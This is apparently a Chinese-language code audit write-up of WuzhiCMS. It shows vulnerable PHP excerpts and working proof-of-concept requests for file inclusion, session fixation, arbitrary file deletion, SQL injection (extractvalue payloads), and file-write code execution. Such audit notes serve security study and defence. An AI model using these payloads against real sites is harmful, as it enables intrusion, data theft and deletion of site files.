根目录分析

api API接口,找未授权、SQL注入 caches 缓存目录 configs 配置文件 coreframe 框架核心代码 install 安装目录,安装后应删除 map promote res 静态资源 uploadfile 上传文件储存目录,文件上传漏洞

分析代码(参考README.md)

程序模块结构说明

app/ #模块(应用程序)目录

先去核心模块看

coreframe/app/core/admin/index.php 后台登录首页

因为没有对$lang进行检验和过滤,通过设置cookie值,对require的路径拼接,使require执行任何PHP文件

php 7 行
1
2
3
4
5
6
7
function init() {
	$lang = get_cookie('lang') ? get_cookie('lang') : LANG;
	require COREFRAME_ROOT.'languages/'.$lang.'/admin_menu.lang.php';
        
public function left() {
	$lang = get_cookie('lang') ? get_cookie('lang') : LANG;
	require COREFRAME_ROOT.'languages/'.$lang.'/admin_menu.lang.php';              

此处是ai发现的一个漏洞,实际上很难触发,记录:

  1. 登录成功后不生成新session ID
  2. 直接重用攻击者提供的session ID

利用:

  1. 攻击者获取自己的session ID:PHPSESSID=attacker_sess
  2. 构造钓鱼链接:
text 1 行
1
http://target.com/admin/?m=core&f=index&v=login&submit=1&checkcode=...[有效验证码]...&username=admin&password=123456
  1. 诱使管理员点击链接(含攻击者的session ID)
  2. 管理员登录后,攻击者使用相同的PHPSESSID即可直接进入管理员账户
php 9 行
1
2
3
4
5
6
7
8
9
//登录
    function login() {
        //已经登陆的用户重定向到后台首页
        if (isset($_SESSION['uid']) && $_SESSION['uid']!='') {
            MSG(L('already login'), '?m=core&f=index'.$this->su(0));
        }
		...
		$_SESSION['uid'] = $_SESSION['role'] = 0		
}

暴露敏感信息:当然,需要登录到后台才能利用,所以不算高危。

路由:

http://wuzhicms:7575/index.php?m=core&f=index&_su=wuzhicms&v=phpinfo

php 6 行
1
2
3
4
5
6
/**
     * 显示 phpinfo 内容
     */
    function phpinfo() {
        echo phpinfo();
    }

20250717125939730

coreframe/app/appupdate/admin/index.php

如果 $filePath 为 ../../../index.php,则 COREFRAME_ROOT . ‘../../../index.php’ 就可以指向系统目录外的敏感文件。

搜关键字

文件安全:

任意文件删除

搜索del() -> coreframe/app/attachment/admin/index.php -> del()

有可控变量 $url

跟进my_unlink

php 4 行
1
2
3
4
private function my_unlink($path)
    {
        if(file_exists($path)) unlink($path);//文件存在直接删除
    }

index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=../../1.txt

20250717140708632

SQL注入

搜索select

发现这里的很多参数都是原样拼接,可能存在风险

跟进get_list函数,最后只找到这里有可控变量 $fieldtype、$keywords

$fieldtype、$keywords俩个参数拼接到$where中,

构造poc:

index.php?m=promote&f=index&_su=wuzhicms&v=search&fieldtype=place&keywords=1%27%20or%20extractvalue(1,concat(0x7e,user()))%20--+

20250717143106637

记一些知识点、函数

text 1 行
1
$GLOBALS = array();//清除所有的全局变量
text 1 行
1
microtime函数返回当前 Unix 时间戳的微秒数。

magic_quotes_runtime 的作用

http://blog.csdn.net/tom_green/article/details/7039002

magic_quotes_gpc函数详解

https://www.cnblogs.com/timelesszhuang/p/3726736.html

漏洞补充:

CSRF漏洞

五指CMS 4.1.0版本存在一个CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可将普通用户提成为管理员权限。

前台SQL注入

多个变量未使用引号包裹的SQL语句,只要是调用get_one这个函数的地方都存在SQL注入

api/sms_check.php,找到可控变量

api/sms_check.php?param=1%27%20or%20extractvalue(1,concat(0x7e,(select%20user())))%20–+

20250717144135245

任意文件写入导致RCE

搜索file_put_contents() 函数,找到一处写入内容可控的地方。file_put_contents() 函数把一个字符串写入文件中。

coreframe/app/core/libs/function/common.func.php

text 1 行
1
index.php?m=attachment&f=index&_su=wuzhicms&v=ueditor&submit=1&setting=%3Cphp%20phpinfo();%3E

文章:

五指CMS 4.1.0存在CSRF漏洞可增加管理员账户

https://wiki.timlzh.com/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/%E4%BA%94%E6%8C%87CMS/%E4%BA%94%E6%8C%87CMS%204.1.0%E5%AD%98%E5%9C%A8CSRF%E6%BC%8F%E6%B4%9E%E5%8F%AF%E5%A2%9E%E5%8A%A0%E7%AE%A1%E7%90%86%E5%91%98%E8%B4%A6%E6%88%B7/

wuzhicms代码审计

https://blog.csdn.net/RestoreJustice/article/details/129734772